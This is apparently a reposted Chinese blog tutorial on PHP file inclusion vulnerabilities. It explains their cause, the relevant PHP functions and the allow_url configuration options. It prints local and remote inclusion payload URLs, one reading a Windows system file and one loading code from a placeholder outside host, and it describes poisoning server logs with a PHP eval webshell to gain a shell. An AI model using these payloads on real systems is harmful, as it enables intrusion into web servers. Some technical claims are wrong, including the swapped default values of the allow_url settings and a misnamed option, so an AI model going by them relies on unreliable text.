文件包含漏洞
Posted leeeboom
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了文件包含漏洞相关的知识,希望对你有一定的参考价值。
文件包含漏洞原理:
在通过php的相应函数(比如include())引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
文件包含漏润的形成,需要满足两个条件:
- 用户可控:用户能够控制文件的内容(向服务器上传一个新的文件、借用服务器已经存在的文件)
- 后台执行:include()等函数通过动态变量的方式引入需要包含的文件
常用文件包含函数:
include():包含并运行指定文件,如果最后仍未找到文件则 include 结构会发出一条警告,只产生警告(E_WARNING),脚本会继续运行
require():包含并运行指定文件,require 在出错时产生 E_COMPILE_ERROR 级别的错误,停止脚本继续运行
include_once():include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。
require_once():唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含
higlight_file():语法高亮一个文件,高亮后的代码不会被打印输出,而是以字符串的形式返回。 高亮成功返回 TRUE
show_source():对文件进行语法高亮显示,别名 highlight_file()
readfile():输出文件,读取文件并写入到输出缓冲
file_get_contents():将整个文件读入一个字符串
fopen():打开文件或者 URL,将 filename 指定的名字资源绑定到一个流上
file():把整个文件读入一个数组中
文件包含漏洞原理介绍:
两个关键的配置文件:allow_url_include、allow_url_open
- allow_url_include 是否允许引用URL文件,激活URL形式的fopen封装协议使得可以访问URL对象文件等。
默认开启
- allow_url_fopen 是否允许打开URL文件,该选项为on便是允许包含URL对象文件等。
默认关闭
如果网站含有phpinfo文件,可通过phpinfo搜索查看网站是否开启allow_url_include、allow_url_open两个选项
PS:allow_url_include、allow_url_open两个选项同时开启的情况下:还可以远程包含远程服务器的马儿
本地文件包含:
payload:http://127.0.0.1/baohan.php?file=文件目录(c:/windows/system.ini)
远程文件包含:
payload:http://127.0.0.1/baohan.php?file=http://xxx.xxx.xxx.xxx/include.php?file=文件目录(c:/windows/system.ini)
文件包含漏洞利用:
包含日志文件:
web服务器,基本上把请求写入到日志文件中,有的是access.log,有的是error.log,所以,我们可以尝试,写一些奇怪的数据,例如<?php eval($_POST[‘cmd])?>,然后让访问出错,这个就会被记录到日志文件中去,然后,我们利用本地包含,去包含这个日志文件,相当于我们得到了一个shell。
可以在url里面写入shell数据,也可以在referer或者ua中写入,但是,这个写入尽量要使用抓包改包工具,例如Burp Suite来写入,因为浏览器,会给我们转码。造成包含不成功。
以上是关于文件包含漏洞的主要内容,如果未能解决你的问题,请参考以下文章